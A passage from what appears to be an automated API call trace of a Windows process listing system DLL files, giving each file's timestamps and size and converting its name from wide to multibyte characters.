ftLastAccessTime.dwLowDateTime=0x833c4b62, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x833c4b62, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x35800, dwReserved0=0x77cf9450, dwReserved1=0x20f708, cFileName="d3d10_1core.dll", cAlternateFileName="")) returned 1 [0140.469] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="D3D10_1CORE.DLL", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0140.469] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="D3D10_1CORE.DLL", cchWideChar=15, lpMultiByteStr=0x226c288, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="D3D10_1CORE.DLL", lpUsedDefaultChar=0x0) returned 15 [0140.469] FindNextFileW (in: hFindFile=0x3a27d0, lpFindFileData=0x20f544 | out: lpFindFileData=0x20f544*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x871363b3, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x871363b3, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x871363b3, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x7fa00, dwReserved0=0x77cf9450, dwReserved1=0x20f708, cFileName="d3d11.dll", cAlternateFileName="")) returned 1 [0140.469] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="D3D11.DLL", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0140.469] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="D3D11.DLL", cchWideChar=9, lpMultiByteStr=0x226c120, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="D3D11.DLL", lpUsedDefaultChar=0x0) returned 9 [0140.469] FindNextFileW (in: hFindFile=0x3a27d0, lpFindFileData=0x20f544 | out: lpFindFileData=0x20f544*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90be63a0, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0x90be63a0, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0x86e01f20, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xfd200, dwReserved0=0x77cf9450, dwReserved1=0x20f708, cFileName="d3d8.dll", cAlternateFileName="")) returned 1 [0140.469] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="D3D8.DLL", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0140.469] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="D3D8.DLL", cchWideChar=8, lpMultiByteStr=0x226c288, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="D3D8.DLL", lpUsedDefaultChar=0x0) returned 8 [0140.469] FindNextFileW (in: hFindFile=0x3a27d0, lpFindFileData=0x20f544 | out: lpFindFileData=0x20f544*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8731c383, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0x8731c383, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0x86e01f20, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x2c00, dwReserved0=0x77cf9450, dwReserved1=0x20f708, cFileName="d3d8thk.dll", cAlternateFileName="")) returned 1 [0140.469] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="D3D8THK.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0140.469] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="D3D8THK.DLL", cchWideChar=11, lpMultiByteStr=0x226c120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="D3D8THK.DLL", lpUsedDefaultChar=0x0) returned 11 [0140.469] FindNextFileW (in: hFindFile=0x3a27d0, lpFindFileData=0x20f544 | out: lpFindFileData=0x20f544*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x97e7de63, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x97e7de63, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x97ef0284, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x1be600, dwReserved0=0x77cf9450, dwReserved1=0x20f708, cFileName="d3d9.dll", cAlternateFileName="")) returned 1 [0140.470] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="D3D9.DLL", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0140.470] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="D3D9.DLL", cchWideChar=8, lpMultiByteStr=0x226c288, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="D3D9.DLL", lpUsedDefaultChar=0x0) returned 8 [0140.470] FindNextFileW (in: hFindFile=0x3a27d0, lpFindFileData=0x20f544 | out: lpFindFileData=0x20f544*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8b6a71fd, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0x8b6a71fd, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0x8703d3c0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x5e400, dwReserved0=0x77cf9450, dwReserved1=0x20f708, cFileName="d3dim.dll", cAlternateFileName="")) returned 1 [0140.470] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="D3DIM.DLL", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0140.470] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="D3DIM.DLL", cchWideChar=9, lpMultiByteStr=0x226c120, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="D3DIM.DLL", lpUsedDefaultChar=0x0) returned 9 [0140.470] FindNextFileW (in: hFindFile=0x3a27d0, lpFindFileData=0x20f544 | out: lpFindFileData=0x20f544*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93d4aad4, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0x93d4aad4, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0x8703d3c0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xc7a00, dwReserved0=0x77cf9450, dwReserved1=0x20f708, cFileName="d3dim700.dll", cAlternateFileName="")) returned 1 [0140.470] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="D3DIM700.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0140.470] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="D3DIM700.DLL", cchWideChar=12, lpMultiByteStr=0x226c288, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="D3DIM700.DLL", lpUsedDefaultChar=0x0) returned 12 [0140.470] FindNextFileW (in: hFindFile=0x3a27d0, lpFindFileData=0x20f544 | out: lpFindFileData=0x20f544*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x86dc1227, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0x86dc1227, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0x870affb0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x91000, dwReserved0=0x77cf9450, dwReserved1=0x20f708, cFileName="d3dramp.dll", cAlternateFileName="")) returned 1 [0140.470] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="D3DRAMP.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0140.470] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="D3DRAMP.DLL", cchWideChar=11, lpMultiByteStr=0x226c120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="D3DRAMP.DLL", lpUsedDefaultChar=0x0) returned 11 [0140.470] FindNextFileW (in: hFindFile=0x3a27d0, lpFindFileData=0x20f544 | out: lpFindFileData=0x20f544*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f16af92, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0x8f16af92, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0x870affb0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xd200, dwReserved0=0x77cf9450, dwReserved1=0x20f708, cFileName="d3dxof.dll", cAlternateFileName="")) returned 1 [0140.470] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="D3DXOF.DLL", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0140.470] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="D3DXOF.DLL", cchWideChar=10, lpMultiByteStr=0x226c288, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="D3DXOF.DLL", lpUsedDefaultChar=0x0) returned 10 [0140.470] FindNextFileW (in: hFindFile=0x3a27d0, lpFindFileData=0x20f544 | out: lpFindFileData=0x20f544*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x48fd18cd, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0x48fd18cd, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0x872c4350, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x4400, dwReserved0=0x77cf9450, dwReserved1=0x20f708, cFileName="dataclen.dll", cAlternateFileName="")) returned 1 [0140.470] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="DATACLEN.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0140.470] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="DATACLEN.DLL", cchWideChar=12, lpMultiByteStr=0x226c120, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DATACLEN.DLL", lpUsedDefaultChar=0x0) returned 12 [0140.470] FindNextFileW (in: hFindFile=0x3a27d0, lpFindFileData=0x20f544 | out: lpFindFileData=0x20f544*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8513b27, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa8513b27, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa8513b27, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x13a00, dwReserved0=0x77cf9450, dwReserved1=0x20f708, cFileName="davclnt.dll", cAlternateFileName="")) returned 1 [0140.470] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="DAVCLNT.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0140.470] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="DAVCLNT.DLL", cchWideChar=11, lpMultiByteStr=0x226c288, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DAVCLNT.DLL", lpUsedDefaultChar=0x0) returned 11 [0140.470] FindNextFileW (in: hFindFile=0x3a27d0, lpFindFileData=0x20f544 | out: lpFindFileData=0x20f544*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa5549552, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0xa5549552, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0x8730fe40, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x4c00, dwReserved0=0x77cf9450, dwReserved1=0x20f708, cFileName="davhlpr.dll", cAlternateFileName="")) returned 1 [0140.470] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="DAVHLPR.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0140.470] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="DAVHLPR.DLL", cchWideChar=11, lpMultiByteStr=0x226c120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DAVHLPR.DLL", lpUsedDefaultChar=0x0) returned 11 [0140.470] FindNextFileW (in: hFindFile=0x3a27d0, lpFindFileData=0x20f544 | out: lpFindFileData=0x20f544*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f84c52c, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8f84c52c, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8f8987ed, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x267e00, dwReserved0=0x77cf9450, dwReserved1=0x20f708, cFileName="dbgeng.dll", cAlternateFileName="")) returned 1 [0140.470] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="DBGENG.DLL", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0140.471] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="DBGENG.DLL", cchWideChar=10, lpMultiByteStr=0x226c288, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DBGENG.DLL", lpUsedDefaultChar=0x0) returned 10 [0140.471] FindNextFileW (in: hFindFile=0x3a27d0, lpFindFileData=0x20f544 | out: lpFindFileData=0x20f544*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f84c52c, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8f84c52c, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8f84c52c, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xd0800, dwReserved0=0x77cf9450, dwReserved1=0x20f708, cFileName="dbghelp.dll", cAlternateFileName="")) returned 1 [0140.471] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="DBGHELP.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0140.471] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="DBGHELP.DLL", cchWideChar=11, lpMultiByteStr=0x226c120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DBGHELP.DLL", lpUsedDefaultChar=0x0) returned 11 [0140.471] FindNextFileW (in: hFindFile=0x3a27d0, lpFindFileData=0x20f544 | out: lpFindFileData=0x20f544*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbb5dae70, ftCreationTime.dwHighDateTime=0x1ca0417, ftLastAccessTime.dwLowDateTime=0xbb5dae70, ftLastAccessTime.dwHighDateTime=0x1ca0417, ftLastWriteTime.dwLowDateTime=0x87976130, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x21000, dwReserved0=0x77cf9450, dwReserved1=0x20f708, cFileName="dbnetlib.dll", cAlternateFileName="")) returned 1 [0140.471] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="DBNETLIB.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0140.471] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="DBNETLIB.DLL", cchWideChar=12, lpMultiByteStr=0x226c288, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DBNETLIB.DLL", lpUsedDefaultChar=0x0) returned 12 [0140.471] FindNextFileW (in: hFindFile=0x3a27d0, lpFindFileData=0x20f544 | out: lpFindFileData=0x20f544*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb83de1c0, ftCreationTime.dwHighDateTime=0x1ca0417, ftLastAccessTime.dwLowDateTime=0xb83de1c0, ftLastAccessTime.dwHighDateTime=0x1ca0417, ftLastWriteTime.dwLowDateTime=0x8799d230, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x8000, dwReserved0=0x77cf9450, dwReserved1=0x20f708, cFileName="dbnmpntw.dll", cAlternateFileName="")) returned 1 [0140.471] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="DBNMPNTW.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0140.471] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="DBNMPNTW.DLL", cchWideChar=12, lpMultiByteStr=0x226c120, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DBNMPNTW.DLL", lpUsedDefaultChar=0x0) returned 12 [0140.471] FindNextFileW (in: hFindFile=0x3a27d0, lpFindFileData=0x20f544 | out: lpFindFileData=0x20f544*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x310962f5, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0x310962f5, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0x8799d230, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x2800, dwReserved0=0x77cf9450, dwReserved1=0x20f708, cFileName="dciman32.dll", cAlternateFileName="")) returned 1 [0140.471] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="DCIMAN32.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0140.471] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="DCIMAN32.DLL", cchWideChar=12, lpMultiByteStr=0x226c288, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DCIMAN32.DLL", lpUsedDefaultChar=0x0) returned 12 [0140.471] FindNextFileW (in: hFindFile=0x3a27d0, lpFindFileData=0x20f544 | out: lpFindFileData=0x20f544*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ce87462, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0x6ce87462, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0x879e8d20, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x3c00, dwReserved0=0x77cf9450, dwReserved1=0x20f708, cFileName="DDACLSys.dll", cAlternateFileName="")) returned 1 [0140.471] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="DDACLSYS.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0140.471] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="DDACLSYS.DLL", cchWideChar=12, lpMultiByteStr=0x226c120, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DDACLSYS.DLL", lpUsedDefaultChar=0x0) returned 12 [0140.471] FindNextFileW (in: hFindFile=0x3a27d0, lpFindFileData=0x20f544 | out: lpFindFileData=0x20f544*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfb2e5d95, ftCreationTime.dwHighDateTime=0x1ca0410, ftLastAccessTime.dwLowDateTime=0xfb2e5d95, ftLastAccessTime.dwHighDateTime=0x1ca0410, ftLastWriteTime.dwLowDateTime=0x87a5b910, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x2a00, dwReserved0=0x77cf9450, dwReserved1=0x20f708, cFileName="DDOIProxy.dll", cAlternateFileName="")) returned 1 [0140.471] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="DDOIPROXY.DLL", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0140.471] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="DDOIPROXY.DLL", cchWideChar=13, lpMultiByteStr=0x226c288, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DDOIPROXY.DLL", lpUsedDefaultChar=0x0) returned 13 [0140.471] FindNextFileW (in: hFindFile=0x3a27d0, lpFindFileData=0x20f544 | out: lpFindFileData=0x20f544*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xff187ed0, ftCreationTime.dwHighDateTime=0x1ca0410, ftLastAccessTime.dwLowDateTime=0xff187ed0, ftLastAccessTime.dwHighDateTime=0x1ca0410, ftLastWriteTime.dwLowDateTime=0x88511440, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x5fce00, dwReserved0=0x77cf9450, dwReserved1=0x20f708, cFileName="DDORes.dll", cAlternateFileName="")) returned 1 [0140.471] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="DDORES.DLL", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0140.471] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="DDORES.DLL", cchWideChar=10, lpMultiByteStr=0x226c120, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DDORES.DLL", lpUsedDefaultChar=0x0) returned 10 [0140.471] FindNextFileW (in: hFindFile=0x3a27d0, lpFindFileData=0x20f544 | out: lpFindFileData=0x20f544*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e74d256, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0x8e74d256, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0x885f4510, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x81e00, dwReserved0=0x77cf9450, dwReserved1=0x20f708, cFileName="ddraw.dll", cAlternateFileName="")) returned 1 [0140.471] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="DDRAW.DLL", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0140.471] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="DDRAW.DLL", cchWideChar=9, lpMultiByteStr=0x226c288, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DDRAW.DLL", lpUsedDefaultChar=0x0) returned 9 [0140.472] FindNextFileW (in: hFindFile=0x3a27d0, lpFindFileData=0x20f544 | out: lpFindFileData=0x20f544*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x95b0bd0c, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0x95b0bd0c, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0x88642710, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x7600, dwReserved0=0x77cf9450, dwReserved1=0x20f708, cFileName="ddrawex.dll", cAlternateFileName="")) returned 1 [0140.472] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="DDRAWEX.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0140.472] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="DDRAWEX.DLL", cchWideChar=11, lpMultiByteStr=0x226c120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DDRAWEX.DLL", lpUsedDefaultChar=0x0) returned 11 [0140.472] FindNextFileW (in: hFindFile=0x3a27d0, lpFindFileData=0x20f544 | out: lpFindFileData=0x20f544*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb1ba2bbc, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb1ba2bbc, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb1bc8d1d, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x35e00, dwReserved0=0x77cf9450, dwReserved1=0x20f708, cFileName="defaultlocationcpl.dll", cAlternateFileName="")) returned 1 [0140.472] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="DEFAULTLOCATIONCPL.DLL", cchWideChar=22, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 22 [0140.472] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="DEFAULTLOCATIONCPL.DLL", cchWideChar=22, lpMultiByteStr=0x226c288, cbMultiByte=22, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DEFAULTLOCATIONCPL.DLL", lpUsedDefaultChar=0x0) returned 22 [0140.472] FindNextFileW (in: hFindFile=0x3a27d0, lpFindFileData=0x20f544 | out: lpFindFileData=0x20f544*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4e1326ca, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0x4e1326ca, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0x887257e0, ftLastWriteTime.dwHighDateTime=0x1ca0420, 